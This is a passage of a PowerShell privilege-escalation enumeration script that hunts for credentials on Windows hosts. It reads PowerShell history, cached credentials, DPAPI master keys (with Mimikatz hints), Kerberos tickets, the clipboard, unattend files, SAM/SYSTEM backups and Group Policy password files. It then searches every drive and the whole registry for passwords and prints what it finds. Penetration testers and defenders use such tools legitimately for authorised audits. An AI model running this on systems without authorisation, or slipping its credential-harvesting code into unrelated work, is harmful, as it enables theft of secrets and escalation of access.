"$env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" | Select-String pa) Write-Host "=|| PowerShell default transcript history check " if (Test-Path $env:SystemDrive\transcripts\) { "Default transcripts found at $($env:SystemDrive)\transcripts\" } # Enumerating Environment Variables Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| ENVIRONMENT VARIABLES " Write-Host "Maybe you can take advantage of modifying/creating a binary in some of the following locations" Write-Host "PATH variable entries permissions - place binary or DLL to execute instead of legitimate" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking" -ForegroundColor Yellow Get-ChildItem env: | Format-Table -Wrap Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Sticky Notes Check" if (Test-Path "C:\Users\$env:USERNAME\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes*\LocalState\plum.sqlite") { Write-Host "Sticky Notes database found. Could have credentials in plain text: " Write-Host "C:\Users\$env:USERNAME\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes*\LocalState\plum.sqlite" } # Check for Cached Credentials # https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/getting-cached-credentials Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Cached Credentials Check" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#windows-vault" -ForegroundColor Yellow cmdkey.exe /list Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for DPAPI RPC Master Keys" Write-Host "Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi" -ForegroundColor Yellow $appdataRoaming = "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\" $appdataLocal = "C:\Users\$env:USERNAME\AppData\Local\Microsoft\" if ( Test-Path "$appdataRoaming\Protect\") { Write-Host "found: $appdataRoaming\Protect\" Get-ChildItem -Path "$appdataRoaming\Protect\" -Force | ForEach-Object { Write-Host $_.FullName } } if ( Test-Path "$appdataLocal\Protect\") { Write-Host "found: $appdataLocal\Protect\" Get-ChildItem -Path "$appdataLocal\Protect\" -Force | ForEach-Object { Write-Host $_.FullName } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for DPAPI Cred Master Keys" Write-Host "Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt" Write-Host "You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi" -ForegroundColor Yellow if ( Test-Path "$appdataRoaming\Credentials\") { Get-ChildItem -Path "$appdataRoaming\Credentials\" -Force } if ( Test-Path "$appdataLocal\Credentials\") { Get-ChildItem -Path "$appdataLocal\Credentials\" -Force } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Current Logged on Users" try { quser }catch { Write-Host "'quser' command not not present on system" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Remote Sessions" try { qwinsta } catch { Write-Host "'qwinsta' command not present on system" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Kerberos tickets (does require admin to interact)" try { klist } catch { Write-Host "No active sessions" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Printing ClipBoard (if any)" Get-ClipBoardText ######################## File/Credentials check ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Unattended Files Check" @("C:\Windows\sysprep\sysprep.xml", "C:\Windows\sysprep\sysprep.inf", "C:\Windows\sysprep.inf", "C:\Windows\Panther\Unattended.xml", "C:\Windows\Panther\Unattend.xml", "C:\Windows\Panther\Unattend\Unattend.xml", "C:\Windows\Panther\Unattend\Unattended.xml", "C:\Windows\System32\Sysprep\unattend.xml", "C:\Windows\System32\Sysprep\unattended.xml", "C:\unattend.txt", "C:\unattend.inf") | ForEach-Object { if (Test-Path $_) { Write-Host "$_ found." } } ######################## GROUP POLICY RELATED CHECKS ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| SAM / SYSTEM Backup Checks" @( "$Env:windir\repair\SAM", "$Env:windir\System32\config\RegBack\SAM", "$Env:windir\System32\config\SAM", "$Env:windir\repair\system", "$Env:windir\System32\config\SYSTEM", "$Env:windir\System32\config\RegBack\system") | ForEach-Object { if (Test-Path $_ -ErrorAction SilentlyContinue) { Write-Host "$_ Found!" -ForegroundColor red } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Group Policy Password Check" $GroupPolicy = @("Groups.xml", "Services.xml", "Scheduledtasks.xml", "DataSources.xml", "Printers.xml", "Drives.xml") if (Test-Path "$env:SystemDrive\Microsoft\Group Policy\history") { Get-ChildItem -Recurse -Force "$env:SystemDrive\Microsoft\Group Policy\history" -Include @GroupPolicy } if (Test-Path "$env:SystemDrive\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" ) { Get-ChildItem -Recurse -Force "$env:SystemDrive\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Recycle Bin TIP:" Write-Host "If credentials are found in the recycle bin, tool from nirsoft may assist: http://www.nirsoft.net/password_recovery_tools.html" -ForegroundColor Yellow ######################## File/Folder Check ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Password Check in Files/Folders" # Looking through the entire computer for passwords # Also looks for MCaffee site list while looping through the drives. if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Password Check. Starting at root of each drive. This will take some time. Like, grab a coffee or tea kinda time." Write-Host -ForegroundColor Blue "=========|| Looking through each drive, searching for $fileExtensions" # Check if the Excel com object is installed, if so, look through files, if not, just notate if a file has "user" or "password in name" try { New-Object -ComObject Excel.Application | Out-Null $ReadExcel = $true } catch { $ReadExcel = $false if($Excel) { Write-Host -ForegroundColor Yellow "Host does not have Excel COM object, will still point out excel files when found." } } $Drives.Root | ForEach-Object { $Drive = $_ Get-ChildItem $Drive -Recurse -Include $fileExtensions -ErrorAction SilentlyContinue -Force | ForEach-Object { $path = $_ #Exclude files/folders with 'lang' in the name if ($Path.FullName | select-string "(?i).*lang.*"){ #Write-Host "$($_.FullName) found!" -ForegroundColor red } if($Path.FullName | Select-String "(?i).:\\.*\\.*Pass.*"){ write-host -ForegroundColor Blue "$($path.FullName) contains the word 'pass'" } if($Path.FullName | Select-String ".:\\.*\\.*user.*" ){ Write-Host -ForegroundColor Blue "$($path.FullName) contains the word 'user' -excluding the 'users' directory" } # If path name ends with common excel extensions elseif ($Path.FullName | Select-String ".*\.xls",".*\.xlsm",".*\.xlsx") { if ($ReadExcel -and $Excel) { Search-Excel -Source $Path.FullName -SearchText "user" Search-Excel -Source $Path.FullName -SearchText "pass" } } else { if ($path.Length -gt 0) { # Write-Host -ForegroundColor Blue "Path name matches extension search: $path" } if ($path.FullName | Select-String "(?i).*SiteList\.xml") { Write-Host "Possible MCaffee Site List Found: $($_.FullName)" Write-Host "Just going to leave this here: https://github.com/funoverip/mcafee-sitelist-pwd-decryption" -ForegroundColor Yellow } $regexSearch.keys | ForEach-Object { $passwordFound = Get-Content $path.FullName -ErrorAction SilentlyContinue -Force | Select-String $regexSearch[$_] -Context 1, 1 if ($passwordFound) { Write-Host "Possible Password found: $_" -ForegroundColor Yellow Write-Host $Path.FullName Write-Host -ForegroundColor Blue "$_ triggered" Write-Host $passwordFound -ForegroundColor Red } } } } } ######################## Registry Password Check ######################## Write-Host -ForegroundColor Blue "=========|| Registry Password Check" # Looking through the entire registry for passwords Write-Host "This will take some time. Won't you have a pepsi?" $regPath = @("registry::\HKEY_CURRENT_USER\", "registry::\HKEY_LOCAL_MACHINE\") # Search for the string in registry values and properties foreach ($r in $regPath) { (Get-ChildItem -Path $r -Recurse -Force -ErrorAction SilentlyContinue) | ForEach-Object { $property = $_.property $Name = $_.Name $property | ForEach-Object { $Prop = $_ $regexSearch.keys | ForEach-Object { $value = $regexSearch[$_] if ($Prop | Where-Object { $_ -like $value }) { Write-Host "Possible Password Found: $Name\$Prop" Write-Host "Key: $_" -ForegroundColor Red } $Prop | ForEach-Object { $propValue = (Get-ItemProperty "registry::$Name").$_ if ($propValue | Where-Object { $_ -like $Value }) { Write-Host "Possible Password Found: $name\$_ $propValue" } } } } } if ($TimeStamp) { TimeElapsed } Write-Host "Finished $r" }